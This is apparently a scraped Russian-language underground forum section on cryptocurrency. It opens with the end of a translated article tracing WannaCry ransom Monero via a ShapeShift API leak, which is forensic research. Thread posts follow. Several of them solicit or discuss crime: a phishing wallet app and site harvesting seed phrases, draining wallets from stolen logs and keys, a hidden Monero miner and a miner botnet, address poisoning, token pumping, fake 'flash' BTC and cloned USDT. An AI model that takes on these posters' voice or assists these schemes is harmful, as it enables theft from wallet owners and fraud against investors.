Я просмотрел транзакции, в которых были отмечены TXO, и заметил скопление транзакций, которые произошли примерно в одно и то же время 2 ноября 2017 года

Ранее я обещал читателю атаку EAE - первым шагом "Евы" было получение исходящих TXID от ShapeShift. Затем мы определили транзакции консолидации Лазаря (Алисы). Теперь настало время для второго трюка "Евы":

API ShapeShift не требует аутентификации и позволяет любому человеку запросить статус депозита в ShapeShift, просто предоставив уникальный адрес депозита, созданный для пользователя ShapeShift. (См. примечание §: ShapeShift устранила утечку данных в результате этой статьи). Некоторые читатели, возможно, сейчас подумают: "Минуточку, разве вы не говорили, что невозможно идентифицировать скрытые адреса депозитов Monero с помощью данных блокчейна?". Ответ на этот вопрос - "да". Однако до ноября 2019 года API ShapeShift не использовал адреса Monero для своего API. Вместо этого они использовали уже вышедшие из употребления 32-байтовые платежные идентификаторы. Эти платежные идентификаторы прозрачны и легко доступны из блокчейна. Это означает, что все депозиты XMR в ShapeShift, в которых использовались 32-байтовые платежные идентификаторы, и связанные с ними транзакции вывода средств на прозрачный блокчейн были легко доступны, и эту информацию следует считать открытой. §

Ниже показан пример одной из таких транзакций XMR- депозита и API- запроса с выделенным идентификатором платежа. Если сделать запрос в API ShapeShift, то выяснится, что отправитель (в данном примере Lazarus) пополнил счет ShapeShift на 60 XMR и вывел около 8,55 BCH на адрес 13tz3oD75Y4jcGds6rPJawnxHjXduTmpap.

1_Q5XpKqoucuFmljpnraas32Q.png

Пример запроса API ShapeShift для одного из депозитов Lazarus в XMR показывает, что на счет 13tz3oD75Y4jcGds6rPJawnxHjXduTmpap было внесено 60 XMR и выведено 8,5513396 BCH. Поле "адрес" (желтое) на самом деле является идентификатором платежа, а не адресом депозита.

Click to expand...

Если вы нажмете на член кольца, который тратится на xmrchain.info, это приведет вас к транзакции консолидации, которая произвела этот TXO. К сожалению, в настоящее время xmrchain.info показывает только стелс-адрес, связанный с TXO, а не человекочитаемый целочисленный идентификатор.

1_Q5XpKqoucuFmljpnraas32Q.png

Транзакция на блокчейне Monero, в которой Lazarus отправил 60 XMR в ShapeShift в обмен на BCH. Реальный вход (выход одной из транзакций консолидации) выделен красным цветом. Идентификатор платежа выделен желтым. Нажав на хэш члена кольца, пользователь перейдет к транзакции, которая вывела TXO.

Click to expand...

В общей сложности мне удалось найти 9 депозитов, которые потратили XMR из консолидационных транзакций, отправив в общей сложности 536 XMR в ShapeShift в обмен на 78.39291766 BCH на тот же адрес. Эти 9 транзакций - единственные 9, полученные этим адресом BCH. Транзакции XMR также сформировали "пилинговую цепочку" на блокчейне Monero, где транзакции тратили некоторые изменения TXO от предыдущих транзакций XMR → ShapeShift → BCH. Ниже приведена таблица со всеми транзакциями XMR →ShapeShift →BCH, а также график, показывающий все описанные здесь транзакции.

1_Q5XpKqoucuFmljpnraas32Q.png

Таблица, показывающая все транзакции Lazarus в формате XMR→ShapeShift→BCH

Click to expand...

1_Q5XpKqoucuFmljpnraas32Q.png

График транзакций, показывающий транзакции Monero в Lazarus. Большие точки - это транзакции. Маленькие точки обозначают TXO для транзакций, с которыми они связаны. TXO также связаны с транзакциями, которые использовали их в качестве входов. [Вверху] Синие транзакции показывают все выходы XMR, полученные Lazarus от ShapeShift. Большинство TXO ушло в Lazarus, но в каждой транзакции было как минимум 1 TXO, который предположительно является TXO изменений. Три транзакции консолидации (розовый цвет) потратили 14 TXO, которые, как известно, пришли из ShapeShift. Три консолидации сгенерировали 20 TXO. Многие из TXO были потрачены 3 цепочками пиринга (фиолетовый, красный, желтый), состоящими из 2-4 транзакций, все из которых отправили 60 XMR в ShapeShift в обмен на BCH, за исключением двух, которые отправили 58 XMR.

Click to expand...

Резюме и выводы
3 августа 2017 года Lazarus конвертировал BTC в 820.79942522 XMR через ShapeShift и неизвестное количество монет Monero (XMR) через Changelly (еще одна обменная платформа, не имеющая почтовых инстансов). Лазарь консолидировал XMR, полученные от Shapeshift, в трех транзакциях 17 августа 2017 года, около 06:20 UTC. Затем, 2 ноября 2017 года, Лазарь конвертировал 536 XMR в BCH с помощью ShapeShift.io посредством 9 транзакций.
Для трассировки использовался код собственной разработки, который выполнял RPC-вызовы Monero Daemon, и дополнялся данными с сайта xmrchain.info и API ShapeShift.

Несколько факторов сделали трассировку в этом примере особенно простой. Во- первых, ShapeShift ограничивал количество валюты, которое можно было конвертировать в одной транзакции, что означало, что Lazarus должен был совершить несколько транзакций BTC→ShapeShift→XMR. Это давало больше заметных TXO и облегчало идентификацию транзакций консолидации. Во-вторых, транзакции консолидации Lazarus имели больше, чем стандартные 2 выхода, что опять же создавало больше флаговых TXO. В-третьих, Lazarus отправлял все свои XMR на один и тот же BCH-адрес, что дает нам дополнительную уверенность в том, что все транзакции XMR→ShapeShift→BCH связаны между собой и были проведены Lazarus.

В 2019 году Monero [отказалась от прозрачных 32-байтовых идентификаторов платежей](https://www.getmonero.org/2019/06/04/Long-Payment-ID- Deprecation.html), которые делали этот анализ возможным. Сегодня Monero использует зашифрованные платежные идентификаторы или субадреса, которые невозможно использовать для идентификации адресов депозитов. Кроме того, Monero заставила все транзакции использовать ровно 10 приманок, что снижает степень достоверности, получаемую с помощью этих методов, по сравнению с транзакциями с использованием всего 4 приманок.

Cake Wallet и Monero GUI Wallet теперь позволяют нетехническим пользователям отправлять несколько TXO в одной транзакции, поэтому теперь невозможно отследить Monero Wallet CLI или пользовательское программное обеспечение кошелька на основе количества TXO.

Тем не менее, этот пример показывает, что "вероятностный" анализ может привести к очень высокой достоверности при отслеживании Monero. Он показывает, что даже спонсируемые государством субъекты могут быть отслежены при ненадлежащем использовании Monero. Хотя большинство бирж не предоставляют информацию обо всех своих депозитах и снятиях Monero, этот пример служит демонстрацией того, что отслеживание Monero иногда возможно при утечке, краже или получении законным путем данных на уровне биржи.

Информация из этой утечки также может быть использована наряду с другими атаками на Monero, такими как недавно описанная флуд-атака [10], для повышения надежности атак EAE.

Представленная здесь информация об отслеживании является неполной и служит лишь для демонстрации того, как может быть осуществлена такая EAE-атака.

По состоянию на февраль 2021 года Минюст США предъявил обвинения в причастности к атакам WannaCry трем северокорейским хакерам. [11]

Примечания
Еще один человек внес вклад в это исследование на уровне авторства, но в настоящее время по уважительным причинам не назван. Авторство может быть обновлено в будущем.

Некоторые дополнительные данные представлены на сайте https://github.com/nickbax/wannacry_monero_tracing. Они могут быть обновлены в будущем.

*ShapeShift немного необычен тем, что иногда он отправлял транзакции с 3 выходами, а иногда только с 2.

†Есть еще несколько необычных крайних случаев, но я не думаю, что какой-либо из них имеет место в данном примере.

https://xmrchain.info/tx/9e0476aa390a8d91668d28aa27bcf7da721c73a07529f56ae49381af6d940a1e - это транзакция с 14 входами и абсурдно большим размером кольца в 220, что означает, что выбрано 3 066 приманок, что увеличивает вероятность случайного выбора 2 помеченных TXO в качестве приманок.

§ Некоторые люди считают это утечкой данных, поэтому я ответственно сообщил об этом ShapeShift через их программу bug bounty. В результате моего раскрытия эта ошибка была исправлена 9/24/2021. По моим оценкам, пострадали примерно 100 000 депозитов XMR и еще 250 000 снятий XMR. API все еще сливает небольшое количество информации о том, был ли депозит отправлен в ShapeShift, но не сливает никакой информации о сумме или исходящем адресе.

Суть моего разоблачения заключалась в следующем:

Уязвимость: В документации API ShapeShift указано, что "Статус депозита по адресу" доступен по адресу http://shapeshift.io/txstat/[address].

Однако в случае с транзакциями Monero в период примерно с апреля 2015 года по ноябрь 2019 года API ShapeShift не использует адрес депозита, а вместо этого использует прозрачный 32-байтовый идентификатор платежа, который можно соскоблить с блокчейна. Я разговаривал с многочисленными пользователями и экспертами Monero, которые не знали, что ShapeShift использует для API платежные идентификаторы, а не стелс-адреса*. Это означает, что пользователи полагали, что только они могут видеть статус своих депозитов XMR в ShapeShift (поскольку стелс-адреса Monero не могут быть публично определены), и могут быть удивлены, узнав, что их транзакции могут быть отслежены кем-то с помощью атаки EAE.

Click to expand...

*Я ошибочно использовал термин "скрытый адрес" вместо термина "субадрес" в этом раскрытии.

Благодарности

Спасибо моим друзьям и всем членам сообществ Stanford и Monero, которые помогли мне в рецензировании этой рукописи.

Ссылки

  1. Мёзер, М., и др. Эмпирический анализ отслеживаемости в блокчейне Monero. PPET. (2017). https://arxiv.org/pdf/1704.04299/
  2. Эренхофер, Дж., Ответ на "Эмпирический анализ отслеживаемости в блокчейне Monero", версия 2. Monero Research Labs. (2018). https://www.getmonero.org/2018/03/29/response-to-an-empirical-analysis-of-traceability.html
  3. Эренхофер, Я., Ноэтер, С. 09: Отравленные выходы (атака EAE). Breaking Monero. (2019). https://www.monerooutreach.org/breaking-monero/poisoned-outputs.html
  4. Берр, Дж. Убытки от атаки вымогателей "WannaCry" могут достичь 4 миллиардов долларов. MoneyWatch. (2017). https://www.cbsnews.com/news/wannacry-ransomware-attacks-wannacry-virus-losses/
  5. Гринберг, А. Исповедь Маркуса Хатчинса, хакера, спасшего Интернет. Wired. (2020). https://www.wired.com/story/confessions-marcus-hutchins-hacker-who-saved-the-internet/
  6. Команда исследователей нейтрино. WannaShift to Monero. (2017). https://www.neutrino.nu/Research_WannaShift_to_Monero.html
  7. Продвинутые техники обфускации: Смешивание, объединение монет, прыжки по цепочке и конфиденциальные монеты. Chainalysis. (2020). https://go.chainalysis.com/advanced-obfuscation-techniques-webinar-recording.html
  8. https://www.justice[.]gov/opa/press-release/file/1092091/download (pdf стр. 114.)
  9. Хинтереггер, А. Хазельхофер, Б., Эмпирический анализ кросс-цепной отслеживаемости Monero. Международная конференция по финансовой криптографии и безопасности данных. (2019). https://arxiv.org/pdf/1812.02808.pdf
  10. Krawiec-Thayer, M.P., et al. Fingerprinting a flood: судебно-статистический анализ аномального объема транзакций Monero в середине 2021 года. Medium. (2021). https://mitchellpkt.medium.com/fing...d-2021-monero-transaction-volume-a19cbf41ce60
  11. https://www.justice[.]gov/opa/pr/th...d-wide-ranging-scheme-commit-cyberattacks-and

Финансовая информация: Ник Бакс владеет BTC, XMR и другими криптовалютами. Компания Ника Бакса, Five I's LLC, предоставляет консалтинговые услуги по различным темам, связанным с криптовалютами, включая криминалистику.

Переведено S3VE7N по просьбе admin
оригинал статьи: <https://medium.com/@nbax/tracing-the-wannacry-2-0-monero- transactions-d8c1e5129dc1>

Автоматический вывод биткоина!
ID: 67686ad7b4103b69df379822
Thread ID: 89442
Created: 2023-06-01T11:36:51+0000
Last Post: 2023-07-21T09:09:13+0000
Author: brumsy
Prefix: Статья
Replies: 1 Views: 670

Биткоин стал популярной криптовалютой, и многие люди стремятся обрести его.
Когда речь идет о выводе биткоина, существует несколько способов, включая ручной вывод и автоматический вывод.
В данной статье мы рассмотрим последний вариант – автоматический вывод биткоина – с примерами кода для его реализации.
1. Использование API платформы обмена криптовалютой:
Одним из наиболее распространенных способов автоматического вывода биткоина является использование API платформы обмена криптовалютой.
Многие биржи предоставляют API, которые позволяют разработчикам создавать программы для автоматического вывода средств.

Пример кода для автоматического вывода биткоина с использованием API платформы обмена криптовалютой:

Python:Copy to clipboard

python
import requests

api_key = 'ключ_API'
api_secret = 'секретный_ключ_API'

def withdraw_bitcoin(amount, destination_address):
    url = 'https://api.exchange.com/withdraw'
    payload = {
        'api_key': api_key,
        'api_secret': api_secret,
        'amount': amount,
        'destination_address': destination_address,
    }
    response = requests.post(url, data=payload)
    if response.status_code == 200:
        print('Успех!')
    else:
        print('Хрен.')

withdraw_bitcoin(0.5, 'Ваш_адрес_назначения')

2. Использование ботов для автоматического вывода биткоина:
Другой способ автоматического вывода биткоина - это создание и использование ботов, которые могут выполнять торговые операции и автоматически выводить средства в биткоинах.
Такие боты могут работать на основе заранее заданных стратегий торговли и выполнять операции вывода в определенные моменты времени или при достижении определенных условий.

Пример кода для автоматического вывода биткоина с использованием бота:

Python:Copy to clipboard

python
import ccxt

exchange = ccxt.binance({
    'apiKey': 'Ваш_ключ_API',
    'secret': 'Ваш_секретный_ключ_API',
})

def withdraw_bitcoin(amount, destination_address):
    try:
        exchange.withdraw('BTC', amount, destination_address)
        print('Огонь!')
    except Exception as e:
        print('Болт:', str(e

))

withdraw_bitcoin(0.5, 'Ваш_адрес_назначения')

Автоматический вывод биткоина является удобным способом получения криптовалюты без необходимости вручную выполнять транзакции каждый раз.
В этой статье мы рассмотрели два примера кода для автоматического вывода биткоина с использованием API платформы обмена криптовалютой и бота для торговли.
Вы можете использовать эти примеры в своих проектах и настроить автоматический вывод согласно своим потребностям. Однако, перед использованием любого кода,
рекомендуется изучить документацию платформы и обеспечить безопасность своих средств.

P2P профит?
ID: 67686ad7b4103b69df37972a
Thread ID: 114728
Created: 2024-05-17T08:58:08+0000
Last Post: 2024-05-26T10:04:33+0000
Author: yarek
Replies: 3 Views: 668

не кидайте тапками

где профит в p2p
вот есть у меня бинансы, байбиты, революты - по ним есть по основной деятельности обороты

смотрю на курсы usdt (на бирже, телега) и не совсем понимаю где и как там делать профит
там или минус в покупке/продаже, или надо крутить десятками $$ тыс

или тут цимес что сначала покупаешь дешево какую то сумму, а потом продаешь?!

всем спасибо :)

Вопрос по майнеру XMRIG
ID: 67686ad7b4103b69df3799a5
Thread ID: 61573
Created: 2022-01-18T09:04:13+0000
Last Post: 2022-01-19T18:10:56+0000
Author: IPirateS6
Replies: 2 Views: 667

Можно ли запустить xmrig без указания кошелька и пула, при том что будет стоять xmrig-proxy, в котором, на сколько мне известно, уже указывается вышеперечисленное? Пробовал ли кто-то так делать?

address poisoning как работает изнутри ?
ID: 67686ad7b4103b69df3796a4
Thread ID: 123345
Created: 2024-09-23T12:22:55+0000
Last Post: 2024-10-31T09:55:37+0000
Author: Bosonogiy
Replies: 3 Views: 665

Заинтересовала эта тема, начал изучать, что и как работает. Как подменить кош я понимаю, но как делать нулевые транзакции через код и как это оптимизировать под разные сети и поток заражений с отслеживанием моих же созданных кошельков не понимаю, внесите ясности знатоки

Памп токена
ID: 67686ad7b4103b69df37977a
Thread ID: 87335
Created: 2023-05-05T15:15:21+0000
Last Post: 2024-03-01T20:15:49+0000
Author: dooo_dooo
Replies: 4 Views: 665

Привет всем, вобщем в двох словах есть нормальное количество криптотокена 0.70% от всех токенов проекта, раньше продавался на huobi но потом его делистнули, сейчас продается на говнобирже coinstore, ликвідність нульовая, думаю как би его накачать, очень нужни деньги залез в кредити и деньги нужни, инвестирувал в него 70000$ сейчас если б витащить с него двадцатку бил би очень рад, думаю может кто смог би чтото подсказать, может в когото есть какието канали на большую авдиторию, или чтото типа етого и в случаи удачного пампа продали б его и 50/50 поделились прибелю, вобщем любие идеи по етому поводу

Как купить виртуальную землю в Метавселенной: руководство для новичков
ID: 67686ad7b4103b69df37999a
Thread ID: 62306
Created: 2022-02-01T17:39:40+0000
Last Post: 2022-02-09T08:18:52+0000
Author: matanga
Replies: 19 Views: 664


Несколько лет назад вложение в виртуальную недвижимость звучало несколько абсурдно. Сегодня все обстоит иначе. Теперь вы можете покупать слоты виртуальных земель в цифровых мирах, таких как Decentraland (MANA), и с приближением метавселенной количество инвесторов все увеличивается.

Читайте дальше, чтобы узнать больше о метавселенной и о том, как вы можете инвестировать в виртуальную недвижимость, чтобы как можно раньше попасть в потенциальный захват земли в метавселенной.

Что такое метавселенная?​

Метавселенная теперь часто объясняется как альтернативная цифровая реальность, которая сочетает в себе виртуальную реальность, дополненную реальность и расширенную реальность, в которой люди смогут работать, играть и жить в цифровом формате.

Метавселенная - это термин и концепция, которые существуют уже более трех десятилетий, но только недавно, после того, как Facebook объявил о своих планах стать компанией метавселенной, идея метавселенной стала популярной.

В результате все больше и больше инвесторов изучают инвестиционные возможности в этом быстрорастущем новом пространстве. Покупка виртуальной земли в ведущих цифровых мирах - одна из таких возможностей.

Итак, давайте же узнаем, что такое виртуальная земля и почему инвесторы так ей вдохновились.

Что такое виртуальная земля и почему ее покупают инвесторы?​

Недвижимость - один из самых популярных классов активов в мире, и теперь он существует и в цифровой сфере.

Виртуальная земля - это нематериальная земля, существующая в виртуальных мирах. Как и физическая земля, она также продается в виде земельных участков и может быть куплена за определенную валюту земли. Сегодня существует несколько виртуальных миров, которые позволяют покупать виртуальную недвижимость. Decentraland, пожалуй, самый популярный из них.

Виртуальная земля в зарождающейся метавселенной продается за сотни тысяч долларов.

В июне этого года участок земли в Decentraland был продан за более чем 900 000 долларов США. И это только один пример. В свете растущего интереса к метавселенной потенциальный ROI (возврат инвестиций) в виртуальную землю выглядит многообещающим для сообразительных криптовалютных спекулянтов.

Во-вторых, инвесторы могут использовать свои виртуальные участки земли и получать от них доход: если у вас есть виртуальная земля, вы можете проводить эксклюзивные мероприятия или вечеринки и взимать плату с тех, кто хочет присутствовать.

Например, американский рэпер Снуп Догг устроил эксклюзивную вечеринку на платформе невзаимозаменяемых токенов (NFT) The Sandbox, чтобы реконструировать свой реальный особняк. Участникам необходимо было иметь NFT, который действовал как пропуск и давал им доступ к мероприятию.

В-третьих, инвесторы могут получать регулярный доход со своих виртуальных земель. Например, вы можете построить виртуальный дом, используя NFT на своей виртуальной земле, и сдать его в аренду для получения ежемесячного дохода. Или создайте художественную галерею NFT и арендуйте место для начинающих крипто- художников, чтобы продемонстрировать свои работы в метавселенной.

Как купить землю в Decentraland: пошаговый гайд​

Decentraland - это платформа виртуальной реальности на основе блокчейна, которая позволяет пользователям покупать землю, играть в игры, проводить мероприятия и взаимодействовать друг с другом различными способами.

Это самая большая виртуальная вселенная в пространстве NFT, у которой есть свои токены - MANA и LAND. Каждый участок LAND на Decentraland имеет размеры 16 на 16 метров и представлен как NFT. Количество участков земли на Decentraland ограничено 90 000, что способствует их дефициту. Любой желающий может купить, арендовать или продать землю на Decentraland либо через OpenSea

Теперь, когда вы знаете, что такое Decentraland, ниже приводится пошаговое руководство о том, как вы можете купить землю в Decentraland прямо на его торговой площадке.

Шаг 1: Зайти на Decentraland Marketplace​

Для начала вам нужно будет перейти на Decentraland Marketplace и войти в кабинет или зарегистрироваться, если вы еще не сделали этого.

После входа в систему перейдите к «Участки и поместья». Затем нажмите «Просмотреть все».

Шаг 2: Выбрать участок из LAND​

Следующий шаг - просмотреть доступные участки земли и выбрать желаемый участок земли. Преимущество покупки земли в Decentraland прямо на рынке заключается в том, что вы можете увидеть соседние районы и близость к известным районам.

После того, как вы выбрали свой виртуальный участок земли, нажмите на него, чтобы прочитать о нем подробно. Здесь вы увидите стоимость земли в MANA, наличие и имя владельца.

Нажмите «Купить», чтобы совершить покупку.

Шаг 3: Подключите свой кошелек к Decentraland Marketplace​

Чтобы совершить покупку, вам необходимо убедиться, что ваш кошелек подключен к вашей учетной записи, так как земля будет отправлена в ваш кошелек как NFT после того, как покупка будет успешной и завершенной.

Если у вас нет кошелька, вы можете загрузить такие кошельки, как MetaMask и Trust Wallet. Помните, что в выбранном вами кошельке должно быть достаточно MANA или Ethereum (ETH), чтобы вы могли совершить покупку.

Кроме того, вам нужно иметь несколько дополнительных жетонов, чтобы позаботиться о плате за газ.

Шаг 4: Подтвердите свою LAND​

После завершения покупки вы можете подтвердить свою землю в своем кошельке.

Если вы используете Trust Wallet, вы можете подтвердить то же самое в разделе «Предметы коллекционирования» и на вкладке «NFT» в кошельке MetaMask.

Стоит ли покупать виртуальную недвижимость в метавселенной?​

Пока что рынок виртуальной недвижимости знает только одно направление - вверх. Благодаря продвижению Facebook в метавселенную и интересу инвесторов, ориентированных на Web 3.0, ко всему метавселенной, виртуальная недвижимость может стать очень прибыльным классом активов, особенно для ранних инвесторов.

Однако, как и в случае с любыми другими инвестициями, не следует вкладывать больше, чем вы можете позволить себе потерять.

Хотя нельзя отрицать, что рынок виртуальной недвижимости существенно вырос, это относительно новый рынок, и инвесторы должны провести должную осмотрительность и надлежащее исследование, прежде чем вкладывать средства.

Нужен человек в команду со знаниями в крипте
ID: 67686ad7b4103b69df3797ec
Thread ID: 96784
Created: 2023-08-29T02:23:09+0000
Last Post: 2023-09-12T18:36:04+0000
Author: Ivansergeev
Replies: 6 Views: 664

У нас есть свой крипто-проект, связанный с QR кодами, все работает и протестировано,не совсем белый. Нужен человек, который работает с de-fi, с выходом токена на биржу, более подробно объясню. Напишите в личку, если есть кто-то поговорим в тг

when a silent miner botnet can generate a good profit?
ID: 67686ad7b4103b69df37967a
Thread ID: 119469
Created: 2024-07-23T20:27:59+0000
Last Post: 2024-12-01T23:02:44+0000
Author: 3c2n90yt57489t3y8794
Replies: 2 Views: 662

Do you think 200-300 bots mining monero at 20-30% of cpu could generate a good profit? I never tried and I'm not sure if this is still profitable.
I would just like to have some general opinion.

Silent Miner | Скрытый Майнер
ID: 67686ad7b4103b69df3798f1
Thread ID: 65526
Created: 2022-04-12T20:00:28+0000
Last Post: 2022-10-23T02:23:50+0000
Author: pablito
Replies: 3 Views: 662

How to Build Monero[XMR] Hidden Miner & Other Cryptocurrency mining :cool: Как создать скрытый майнер Monero[XMR] и другой майнинг криптовалют.....

Удачи всем!

Флэш
ID: 67686ad7b4103b69df379805
Thread ID: 93812
Created: 2023-07-24T09:53:26+0000
Last Post: 2023-08-13T20:58:56+0000
Author: blade_master
Replies: 13 Views: 658

Ищем кто ставит флэш бтц. Объемы ежедневно, заберём по рыночной цене. На глупые вопросы отвечать не буду. Только те кто в теме - вэлком. В ПМ отвечу на все вопросы детально.

Подскажите кошелек для накопления крипты.
ID: 67686ad7b4103b69df37989b
Thread ID: 81779
Created: 2023-02-12T03:57:35+0000
Last Post: 2023-02-23T15:19:57+0000
Author: ilyusha
Replies: 7 Views: 655

Всех приветствую!
Подскажите безопасный кошелек, для накопления крипты.
В плане того чтобы сама организация кошеля не кинула, а не то чтобы с него кто то украл средства.
Заранее спасибо :)

how to get started in cryptocurrency mining
ID: 67686ad7b4103b69df3799a9
Thread ID: 60660
Created: 2021-12-29T14:34:23+0000
Last Post: 2022-01-17T08:17:54+0000
Author: tcpx51
Replies: 4 Views: 653

Hello everyone, I want to start mining bitcoins to do an initial test of how much the wallet that I have initially produces would be monthly and after this expand, what equipment with what features and software do you recommend to start in the world of mining? Thank you very much I appreciate your answers

USDT Transfer Blocked in imToken Wallet - Need Assistance
ID: 67686ad7b4103b69df3796c3
Thread ID: 122802
Created: 2024-09-16T10:19:14+0000
Last Post: 2024-09-25T19:13:50+0000
Author: moonsun
Replies: 3 Views: 649

Hello everyone,

I hope you’re doing well.

I’m encountering an issue with my imToken wallet where my USDT (Tether) funds are marked as “# Blocked,” and I am unable to transfer them. I’ve checked my transaction history and cannot identify the cause of this restriction. I’m seeking advice or solutions from anyone who might have faced a similar problem or who can offer guidance on how to resolve this issue.

Here are the details:

Problem Description: My USDT balance is blocked and I cannot perform any transfers. The status of the funds is showing as “# Blocked.”
Additional Information: I have not received any specific notifications from imToken regarding this issue, and I am unsure what steps to take next.
Has anyone experienced a similar issue, and if so, how did you resolve it? Any advice or recommendations would be greatly appreciated.

Thank you in advance for your help!

Best regards,

-------------------------------------------------------------------------------------------------------------------------------------------------------------------

Здравствуйте,

Надеюсь, у вас всё хорошо.

У меня возникла проблема с кошельком imToken: мои средства USDT (Tether) помечены как “# Blocked,” и я не могу их перевести. Я проверил свою историю транзакций и не могу определить причину этого ограничения. Ищу совета или решений от тех, кто сталкивался с подобной проблемой или может предложить руководство по её решению.

Вот детали:

Описание проблемы: Мой баланс USDT заблокирован, и я не могу выполнять переводы. Статус средств отображается как “# Blocked.”
Дополнительная информация: Я не получал никаких конкретных уведомлений от imToken по этому вопросу и не знаю, какие шаги предпринять дальше.
Кто-то сталкивался с подобной проблемой? Если да, то как вы её решали? Буду признателен за любые советы или рекомендации.

Заранее спасибо за вашу помощь!

С уважением,

Вывод токенов erc20 (Ethereum) из-под автовывода!
ID: 67686ad7b4103b69df379949
Thread ID: 67782
Created: 2022-05-28T13:52:55+0000
Last Post: 2022-06-29T23:33:08+0000
Author: Gruzin733
Replies: 14 Views: 649

Spoiler: Закрыто на депозит. Closed for deposit.

Вывод токенов erc20 (Ethereum) из-под автовывода! Выведу все ваши токены с кошельков с авовыводом.
Работа 50/50
Возьму Ваши логи на поиск кошельков, сидок и ключей.
Так же Ваши ключи сидки на чек
Мы выжмем все до копейки!!!
Связь ТГ и ПМ

Не пришли Monero
ID: 67686ad7b4103b69df3799c7
Thread ID: 58684
Created: 2021-11-09T15:51:42+0000
Last Post: 2021-11-22T19:15:41+0000
Author: raketnovsk000
Replies: 10 Views: 648

Всем привет! Возможно, ситуация многим покажется абсурдной, но я попрошу Вас отнестись серьезно, спасибо.
Пару дней назад я решил прогнать свои BTC через Monero, чтобы обналичить их в дальнейшем. Я поменял свои BTC на Monero успешно через обменник, дальше я отправил Monero с кошелька 1 на свой же кошелек 2, многим будет знакома эта схема, но монеты не пришли на кошелек 2. Адрес при переводе я указал верно, я уже успел тысячу раз в этом убедиться, проверив всё неоднократно на свежую голову. Я также проверял эту транзакцию на exploremonero.com, указывая секретный ключ тразнакции и адрес, куда доставляются средства, транзакция находится и выводится, как успешно завершенная, более 400 подтверждений, но средства по-прежнему не пришли в кошелек 2, в нём также нет никакой истории, в это время в кошельке 1 пишет о успешно совершенной сделке.
Кошельки открывал в официальном GUI клиенте от Monero, выбирая simple mode, чтобы не качать весь blockchain, кошельки созданы в виртуальной машине, весь трафик пропущен через Tor. Я также пробовал открывать кошелек 2 и другими легковесными GUI клиентами, которые указаны как одобренные на официальном сайте Monero, но по-прежнему средств на балансе не увидел.
Не могу сказать, что я очень опытный специалист, но подобную процедуру я уже проворачивал ни один раз, но с подобным столкнулся впервые. Возможно, кто-то может мне помочь или что-либо подсказать.

Что надо чтобы начать майнинг эфира?
ID: 67686ad7b4103b69df3799e3
Thread ID: 56377
Created: 2021-09-07T12:59:49+0000
Last Post: 2021-09-20T11:41:40+0000
Author: ED-209
Replies: 12 Views: 647

Какое оборудование нужно для пулов для майнинга эфира? SSD 100 гб хватает?

Клон USDT TRC20
ID: 67686ad7b4103b69df3798dd
Thread ID: 77237
Created: 2022-12-03T08:40:52+0000
Last Post: 2022-12-03T08:40:52+0000
Author: GRAF_TYTA
Replies: 0 Views: 647

Имеется оооочень большой объем данного материала !
Жду предложений о реализации в любые сферы и под любые нужды.

Изменить не могу тему .
Объем в ERC 20

Если быть точным есть 2,5 Ти

Связь телега :@PoGnaLi_1607
Или здесь

платформа для майнинга bitmine 2.0
ID: 67686ad7b4103b69df379a2e
Thread ID: 50968
Created: 2021-04-23T08:48:47+0000
Last Post: 2021-04-23T08:48:47+0000
Author: HellishMadonna
Replies: 0 Views: 645

линк продажника:

codecanyon.net

[ Bitmine v2.0- Advanced Bitcoin Mining Platform

](https://codecanyon.net/item/bitmine-advanced-bitcoin-mining- platform/25814167)

Ensure you have license to run a mining farm before purchasing this as we don’t promote fraud with our products. DISCLAIMER: If you are not satisfied with the features that are currently on this pr...

![codecanyon.net](/proxy.php?image=https%3A%2F%2Fpublic-assets.envato- static.com%2Ficons%2Fcodecanyon.net%2Fapple-touch- icon-72x72-precomposed.png&hash=c4efc5db7ed668196f726a4c5fd62e1d&return_error=1) codecanyon.net

так же там есть демо-доступ

Spoiler: файл: https://disk.yandex.ru/d/tnS8e5dr9nc76A

Solana hack
ID: 67686ad7b4103b69df379921
Thread ID: 71061
Created: 2022-08-03T09:59:57+0000
Last Post: 2022-08-11T18:29:59+0000
Author: werbeden
Replies: 9 Views: 644

Каким образом увели 5 лимонов с кошельков пользователей? Slope/Phantom/Trustwallet если они по сути никак между собой не связаны

Обмен Bitcoin в Monero без KYC, регистрации и комисии
ID: 67686ad7b4103b69df3797f6
Thread ID: 96648
Created: 2023-08-27T04:40:20+0000
Last Post: 2023-08-29T12:15:36+0000
Author: Knew100
Prefix: Статья
Replies: 6 Views: 643

Этой штукой https://unstoppableswap.net/ можно поднять свой dex обменник из докера, там же в статье расписано. Atomic swap не даёт бирже или кому-то ещё стырить твои битки, обозвав их "грязными". Обмен в монеру, очевидно, полностью удаляет твой след из сети биткоина, это в полу-тестовом режиме можно было делать уже год-два, гугли monero dex. Обратно свапнуться в биток - это то что они и называют двухсторонним обменом, то что как раз анонсируется в статье. Вот демку выложили

Ясное дело, что пока там одни разрабы сидят, ничего "чистить" таким способом не получится.

Есть такое понятие - атомарный обмен, atomic swap. Когда обмен крипты на крипту происходит гарантированно и автоматически.

Bidirectional Monero Atomic Swaps Live on BasicSwap DEX https://www.reddittorjg6rue252oqsxr...uz/bidirectional_monero_atomic_swaps_live_on/

Никакого KYC, никаких посредников и полная анонимность в сети Tor.

Скачать:​

Список Децентрализованных Бирж https://github.com/distribuyed/index/blob/master/README.md

аккаунты bybit
ID: 67686ad7b4103b69df3796fd
Thread ID: 119684
Created: 2024-07-27T13:44:34+0000
Last Post: 2024-07-27T13:44:34+0000
Author: Kjiop4real
Replies: 0 Views: 643

как правильно греть аккаунт bybit после верификации

нужно чтоб не вылетало подтверждение в p2p после ордеров

Кто знает web3 кошельки где есть XMR (monero) ?
ID: 67686ad7b4103b69df379699
Thread ID: 126044
Created: 2024-11-02T08:40:47+0000
Last Post: 2024-11-08T14:14:08+0000
Author: Sculp
Replies: 8 Views: 643

Кто знает web3 кошельки где есть XMR (monero) ?

Вопрос по фишинговым кошелькам
ID: 67686ad7b4103b69df3796e6
Thread ID: 121074
Created: 2024-08-19T23:20:45+0000
Last Post: 2024-08-21T12:39:38+0000
Author: Bogdan333
Replies: 1 Views: 642

Есть прила - кошелек которая собирает сидки, как импортируемые так и от новых создаваемых кошельков. На 1000 созданных кошельков за неделю примерно 30 мелких пополнений залетает.
Прмерно такая же ситуация с фиш сайтом, собрал с органики 300 фраз, из них на трех какие то копейки были...
Хочу понять нормально ли это?
Только вкатываюсь в тему

Помогите распознать айс валет
ID: 67686ad7b4103b69df379a0a
Thread ID: 54063
Created: 2021-07-16T06:41:12+0000
Last Post: 2021-07-16T07:06:58+0000
Author: Ap0fis
Replies: 4 Views: 642

